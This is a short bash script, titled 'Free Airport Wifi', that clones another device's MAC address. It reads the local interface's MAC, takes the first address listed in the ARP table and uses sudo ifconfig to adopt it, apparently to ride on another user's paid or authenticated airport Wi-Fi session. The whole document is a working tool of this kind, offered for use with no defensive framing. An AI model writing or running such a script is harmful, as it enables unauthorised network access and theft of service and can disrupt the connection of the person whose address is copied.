Free Airport Wifi

wifi-spoofer

#!/bin/bash

# get current MAC address
current_grep_MAC=$(ifconfig en1 | grep ether)

for i in $(echo $current_grep_MAC)
do
        len="${#i}"
        if [ $len -eq "17" ];  then
                current_MAC="$i"
                printf "Your MAC address -- $i -- is valid.\n"
        fi
done

# view other devices on network
MACs=( $(arp -a | cut -f 4 -d ' ') )

printf "Current MACs on this network: $MACs\n"

# store the MAC address of the first device on the network
new_MAC_to_spoof="${MACs[0]}"

printf "$new_MAC_to_spoof is the new MAC address.\n"

# spoof your MAC address
sudo ifconfig en1 ether $new_MAC_to_spoof

final_grep_MAC=$(ifconfig en1 | grep ether)

# check if MAC address has changed
if [ "$final_grep_MAC" == "$current_grep_MAC" ]; then
        printf "Nothing changed, bro. Something went wrong.\n"
        exit 1
fi

printf "Successfully spoofed.\n"

exit 0